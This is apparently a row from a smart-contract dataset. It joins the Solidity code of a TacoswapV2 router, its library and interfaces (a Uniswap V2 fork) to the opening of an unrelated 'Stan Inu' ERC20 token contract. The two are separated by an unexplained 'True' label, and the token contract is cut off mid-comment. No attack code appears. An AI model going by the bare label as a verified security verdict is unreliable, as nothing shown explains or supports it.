function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'TacoswapV2Router: INVALID_PATH');
amounts = TacoswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'TacoswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(TacoswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'TacoswapV2Router: INVALID_PATH');
amounts = TacoswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'TacoswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, TacoswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'TacoswapV2Router: INVALID_PATH');
amounts = TacoswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'TacoswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, TacoswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'TacoswapV2Router: INVALID_PATH');
amounts = TacoswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'TacoswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(TacoswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = TacoswapV2Library.sortTokens(input, output);
ITacoswapV2Pair pair = ITacoswapV2Pair(TacoswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20Tacoswap(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = TacoswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? TacoswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, TacoswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20Tacoswap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20Tacoswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'TacoswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'TacoswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(TacoswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20Tacoswap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20Tacoswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'TacoswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'TacoswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, TacoswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20Tacoswap(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'TacoswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return TacoswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return TacoswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return TacoswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return TacoswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return TacoswapV2Library.getAmountsIn(factory, amountOut, path);
}
}
pragma solidity >=0.5.0;
// SPDX-License-Identifier: GPL-3.0
import '../interfaces/ITacoswapV2Pair.sol';
import "./SafeMath.sol";
library TacoswapV2Library {
using SafeMathTacoswap for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'TacoswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'TacoswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'482d4aa6f244cc670efd4a820632bd3e31dee158d4e8282b3ce5020d8cb8fa48' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = ITacoswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'TacoswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'TacoswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'TacoswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'TacoswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(995);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'TacoswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'TacoswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(995);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'TacoswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'TacoswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
pragma solidity =0.6.12;
// SPDX-License-Identifier: GPL-3.0
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathTacoswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
pragma solidity >=0.6.0;
// SPDX-License-Identifier: GPL-3.0
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
pragma solidity >=0.6.2;
// SPDX-License-Identifier: GPL-3.0
import './ITacoswapV2Router01.sol';
interface ITacoswapV2Router02 is ITacoswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.5.0;
// SPDX-License-Identifier: GPL-3.0
interface ITacoswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
pragma solidity >=0.5.0;
// SPDX-License-Identifier: GPL-3.0
interface IERC20Tacoswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity >=0.5.0;
// SPDX-License-Identifier: GPL-3.0
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.5.0;
// SPDX-License-Identifier: GPL-3.0
interface ITacoswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.6.2;
// SPDX-License-Identifier: GPL-3.0
interface ITacoswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
| True | [
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|
/*
Stan Inu!
Website: staninu.com
Telegram: https://t.me/staninu
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
